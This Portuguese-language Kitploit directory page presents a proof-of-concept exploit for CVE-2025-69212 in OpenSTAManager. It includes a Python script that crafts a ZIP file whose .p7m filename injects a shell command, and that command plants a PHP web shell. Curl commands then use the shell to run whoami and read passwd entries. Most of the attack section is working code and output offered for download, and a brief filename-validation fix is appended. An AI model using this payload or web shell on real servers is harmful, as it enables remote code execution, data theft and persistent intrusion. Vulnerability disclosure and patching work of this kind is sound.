Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
OpenSTA-Exploit — Prova de Conceito (PoC) da CVE-2025-69212 relacionada com o processamento de arquivos P7M. | Kitploit
Ferramentas/GitHubGitHub/lolw0/opensta-exploit
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHublolw0/opensta-exploit

OpenSTA-Exploit

Prova de Conceito (PoC) da CVE-2025-69212 relacionada com o processamento de arquivos P7M.

Ver Repositório
17há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

OpenSTA-Exploit

image

DadoDetalhe
ID da CVECVE-2025-69212
Pontuação da Vulnerabilidadecrítica (9.4)
CWE78: Neutralização Incorreta de Elementos Especiais usados em um Comando do SO
Versões AfetadasOpenSTAManager <= 2.9.8
Vetor de ataqueenviar um arquivo ZIP contendo um arquivo .p7m com nome de arquivo malicioso
AutenticaçãoNecessária
Impactoexecutar comandos arbitrários do sistema no servidor

Explicação do exploit

  1. Armazena um comando de shell na variável cmd (que cria um arquivo chamado SHELL.php contendo código PHP capaz de executar comandos).
  2. Constrói um nome de arquivo especialmente criado para ocultar o comando da variável cmd e o salva na variável malicious_file.
  3. Cria um novo arquivo ZIP chamado exploit.zip e o abre para escrita.
  4. Adiciona um arquivo ao ZIP. Seu nome de arquivo é a variável malicious_file.
  5. O nome de arquivo malicioso é injetado no comando exec().

PoC (Prova de Conceito)

1. Criar arquivo zip para injetar

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Executar arquivo e enviar

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. Resultado do exploit

A análise XML falha após a execução do comando

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Verificação e execução remota de código

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



Leva a...

AtaqueDetalhe
Execução Remota de CódigoComprometimento total do servidor com execução de comandos
Exfiltração de DadosAcesso a todos os dados da aplicação e ao banco de dados
Escalação de PrivilégiosPotencial escalação se o servidor web for executado com privilégios elevados ou for vulnerável
PersistênciaInstalar backdoors e manter o acesso ao longo do tempo
Movimentação LateralPivotar para outros sistemas/usuários na rede

Correção

**uma correção simples é validar os nomes de arquivo antes do processamento (Permitir apenas caracteres alfanuméricos, pontos, hífens e sublinhados para ignorar nomes de arquivo inválidos)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(ou você pode simplesmente atualizar lol)

Baixar ferramenta